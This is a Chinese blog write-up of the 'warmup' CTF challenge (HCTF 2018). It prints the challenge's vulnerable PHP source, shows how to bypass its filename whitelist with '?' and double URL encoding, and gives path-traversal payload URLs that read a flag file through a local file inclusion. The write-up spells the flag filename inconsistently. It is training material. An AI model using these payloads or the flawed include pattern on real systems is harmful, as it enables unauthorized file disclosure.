攻防世界-web高手进阶篇-warmup

原创

iZer_0 于 2020-02-06 19:14:17 发布 9043 收藏 27
分类专栏： CTF 文章标签： 攻防世界 web ctf HCTF 2018 xctf

打开题目链接后只有一个滑稽??（那就看看它里面有啥吧）

想啥呢，是审查源码啦

可以看到有注释source.php，访问后可以看到其源码

111.198.29.45:48818/source.p

不安全 | 111.198.29.45:48818/source.php

```php
<?php
        highlight_file(__FILE__);
        class  emmm
        {
                public  static  function  checkFile(&$page)
                {
                        $whitelist  =  ["source"=>"source.php","hint"=>"hint.php"];
                        if  (!  isset($page)  ||  !is_string($page))  {
                                echo  "you  can't  see  it";
                                return  false;
                        }

                        if  (in_array($page,  $whitelist))  {
                                return  true;
                        }

                        $_page  =  mb_substr(
                                $page,
                                0,
                                mb_strpos($page  .  '?',  '?')
                        );
                        if  (in_array($_page,  $whitelist))  {
                                return  true;
                        }

                        $_page  =  urldecode($page);
                        $_page  =  mb_substr(
                                $_page,
                                0,
                                mb_strpos($_page  .  '?',  '?')
                        );
                        if  (in_array($_page,  $whitelist))  {
                                return  true;
                        }
                        echo  "you  can't  see  it";
                        return  false;
                }
        }

        if  (!  empty($_REQUEST['file'])
                &&  is_string($_REQUEST['file'])
                &&  emmm::checkFile($_REQUEST['file'])
        )  {
                include  $_REQUEST['file'];
                exit;
        }  else  {
                echo  "<br><img  src=\"https://i.1oli.net/2018/11/01/5bdb0d93dc794.jpg\"  />";
        }
?>
```


又发现一个hint.php文件，先访问再说

111.198.29.45:48818/hint.php

不安全 | 111.198.29.45:48818/hint.php

flag not here, and flag in ffffllllaaaagggg

提示我们flag在ffffllllaaaagggg里面，此时题目已经完成一半啦

接着看回source.php源码

可以看到最后的include 是可以动态构造参数的，那应该就是解题关键了

不过要经过三个判断

第一个：检查一个变量是否为空

第二个：是否为字符串

第三个：通过函数来检查

我们要构造的payload本身就满足前两点所以无视

重要是第三点的这个函数

函数作用是分三步检查传进来的参数是否满足白名单：

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

第一步：

```
if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
}

if (in_array($page, $whitelist)) {
        return true;
}
```

只要我们传的参数是source.php或者hint.php则返回真

如果不满足继续往下判断

第二步：

```
$_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
        return true;
}
```

取传进参数首次出现？前的部分

再进行白名单判断

如果还不满足继续往下判断

第三步：

```
$_page = urldecode($page);
$_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
        return true;
}
echo "you can't see it";
return false;
```


先把传进的参数做urldecode

接着就和第二步一样

都不满足就输出"you can't see it"并且返回假

要想满足这些条件那我们传的参数就只能是这种形式

（$_REQUEST 是通过 GET，POST 和 COOKIE 输入机制来传递参数，下面偷懒就用get方式传值）

http://111.198.29.45:48818/source.php?file=source.php?(payload)

http://111.198.29.45:48818/source.php?file=hint.php?(payload)

上面这种形式就符合函数的第二个判断

如果闲着无聊也可以满足第三种，就是双重url编码，传过去的时候会自动解码一次，再加上函数的一次就会满足条件

http://111.198.29.45:48818/source.php?file=source.php%253f（%253f就是？的两次url编码）

http://111.198.29.45:48818/source.php?file=hint.php%253f

符合条件后include得到得值就变成：

include source.php?(payload)

因为source.php?（或hint.php?）是固定不能改的，那么我们能利用的漏洞只有本地文件包含了

（本人技术比较菜也只能想出这种了，如果还有别的方法还望大佬们赐教）

flag文件名也知道了就差路径不知道，一个一个试可以得到

source.php(或hint.php)?/../../../../../../fffflllaaaagggg

ok！flag get√

```
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?> flag{25e7bce6005c4e0c983fb97297ac6e5a}
```

可能会有疑问为啥include source.php(或hint.php)?/../../../../../../fffflllaaaagggg能执行成功

include

(PHP 4, PHP 5, PHP 7)
include 语句包含并运行指定文件。

以下文档也适用于 require。

被包含文件先按参数给出的路径寻找，如果没有给出目录（只有文件名）时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 *include* 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 *include* 结构会发出一条警告；这一点和 require 不同，后者会发出一个致命错误。

如果定义了路径——不管是绝对路径（在 Windows 下以盘符或者 \ 开头，在 Unix/Linux 下以 / 开头）还是当前目录的相对路径（以 . 或者 .. 开头）——include_path 都会被完全忽略。例如一个文件以 ../ 开头，则解析器会在当前目录的父目录下寻找该文件。

看官方对include的定义

因为我们的参数是有/../../../../../../这样的路径所以符合最后一段话如果定义了路径，就会忽略/前的字符串而去找/../../../../../../ffffllllaaaagggg这个文件

----------我是分割线----------

看完了觉得不错就点个赞或者评论下吧，感谢！！！

如果本文哪里有误随时可以提出了，收到会尽快更正的